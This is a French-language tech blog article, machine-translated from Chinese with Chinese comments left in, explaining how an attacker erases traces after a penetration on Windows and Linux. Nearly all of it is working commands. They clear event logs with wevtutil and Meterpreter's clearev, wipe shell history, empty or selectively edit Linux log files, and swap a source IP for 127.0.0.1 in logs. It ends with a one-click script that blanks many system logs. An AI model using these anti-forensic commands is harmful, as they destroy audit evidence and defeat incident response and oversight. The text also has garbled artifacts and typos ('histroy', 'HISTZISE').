Quelle est la manière de nettoyer les traces sous Windows et Linux ?-exploitation et maintenance Linux-php.cn

Quelle est la manière de nettoyer les traces sous Windows et Linux ?

WBOY

Libérer： 2023-05-19 19:17:06

avant

1296 Les gens l'ont consulté

1. Aperçu :

Une fois la pénétration terminée, afin de réduire la probabilité d'être découvert et tracé, il est nécessaire que l'attaquant dégage ses traces d'attaque.

2. Windows

Supprimez manuellement les journaux lorsque vous disposez des autorisations de bureau à distance :

开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志

Copier après la connexion

Ligne de commande de l'outil Wevtutil nettoyage ：

wevtutil el             列出系统中所有日志名称
wevtutil cl system      清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security    清理安全日志

Copier après la connexion

Meterperter est livré avec une fonction de journalisation claire :

clearev     清除windows中的应用程序日志、系统日志、安全日志

Copier après la connexion

Effacer les récents :

或直接打开C:\Users\Administrator\Recent并删除所有内容
或在命令行中输入del /f /s /q “%userprofile%\Recent*.*

Copier après la connexion

3. linux

#🎜🎜 # Effacer l'historique des commandes

histroy -r          #删除当前会话历史记录
history -c          #删除内存中的所有命令历史
rm .bash_history   #删除历史文件中的内容
HISTZISE=0

Copier après la connexion

Exécutez la commande dans un emplacement caché, utilisez vim pour ouvrir le fichier et exécutez la commande :

:set history=0
:!command

Copier après la connexion

Fichier journal Linux

/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息

Copier après la connexion

# 🎜🎜# Supprimer complètement le fichier journal

cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename

Copier après la connexion

Suppression ciblée des fichiers journaux

删除当天日志
sed  -i '/当天日期/'d  filename

Copier après la connexion

Falsification des fichiers journaux

将所有170.170.64.17ip替换为127.0.0.1
sed -i 's/170.170.64.17/127.0.0.1/g'

Copier après la connexion

Script d'effacement en un clic :

#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c

Copier après la connexion

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!